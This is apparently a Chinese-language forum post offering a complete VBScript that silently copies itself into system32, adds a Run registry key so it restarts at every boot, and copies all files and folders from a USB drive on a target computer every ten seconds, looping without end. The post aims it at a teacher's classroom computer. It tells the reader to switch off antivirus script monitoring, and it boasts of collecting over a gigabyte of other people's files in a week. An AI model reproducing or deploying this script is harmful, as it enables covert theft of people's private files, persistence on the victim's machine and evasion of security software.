On Error Resume Next ‘忽略異常，否則可能會有錯誤提示框 Set fso=CreateObject("Scripting.FileSystemObject") ‘創建fso dim n Set n=CreateObject("Wscript.Shell") ‘聲明變量n Set dir = fso.GetSpecialFolder(1) ‘讀取system32文件夾路徑 fso.GetFile(WScript.ScriptFullName).Copy(dir&"/copy.vbs") ‘讀取自身文件名，并復制自己到system32文件夾，重命名為copy.vbs dim r Set r=CreateObject("Wscript.Shell") ‘聲明變量r，用于讀寫注冊表 r.Regwrite"HKLM/Software/Microsoft/Windows/CurrentVersion/Run/","copy.vbs","REG_SZ" ‘為腳本添加啟動項 fso.CreateFolder("c:/windows/explorer") ‘創建文件夾，用來存放U盤文件 for i = 1 to 2 i = 1 ‘看出來了么，這是個死循環，變量i不可能到2，所以可以不斷檢查U盤并復制內容 fso.CopyFile "i:/*", "c:/windows/explorer/", True ‘復制I盤(U盤盤符)所有文件到指定文件夾 fso.CopyFolder "i:/*", "c:/windows/explorer/", True ‘復制I盤所有文件夾到指定文件夾 wscript.sleep 10000 ‘掛起10秒，此屬性單位為毫秒 next 把上述內容存為kubau0.vbs，才幾百字節。 提示一點，因為腳本內容有對注冊表和文件的操作，所以執行時要把殺毒軟件的網頁或腳本之類的監控關掉，否則會不客氣的彈出個對話框問你是否執行，如果引起老師懷疑的話……那你就節哀吧。 現在，只要在目標機上執行一次腳本（什么？沒反應？當然不會有了！看看進程列表，如果有一個wscript.exe就說明已經執行成功了），腳本執行會停留在死循環里，每隔10秒復制一次文件到C:/windows/explorer/文件夾(間隔時間和目標文件夾均可自行設置)，重啟后會自動執行，且不會有任何異常提示，畢竟安全才是最重要的嘛！這也是VBS的特點，一切悄無聲息。 不過腳本也不是沒有缺點，那就是在復制文件的時候U盤燈會狂閃不止，且機器運行速度會明顯變慢，且無法通過安全刪除硬件來停止U盤，不過好在老師們多是才鳥(才鳥？什么東西？有才的菜鳥？)，但是如果哪位高手能幫我解決，還請不吝賜教！ 另外，別以為復制完就萬事大吉了，最好定期刪除沒用的文件，否則目標文件夾會急劇膨脹，比如我們班，一星期下來就超了1G，很恐怖！
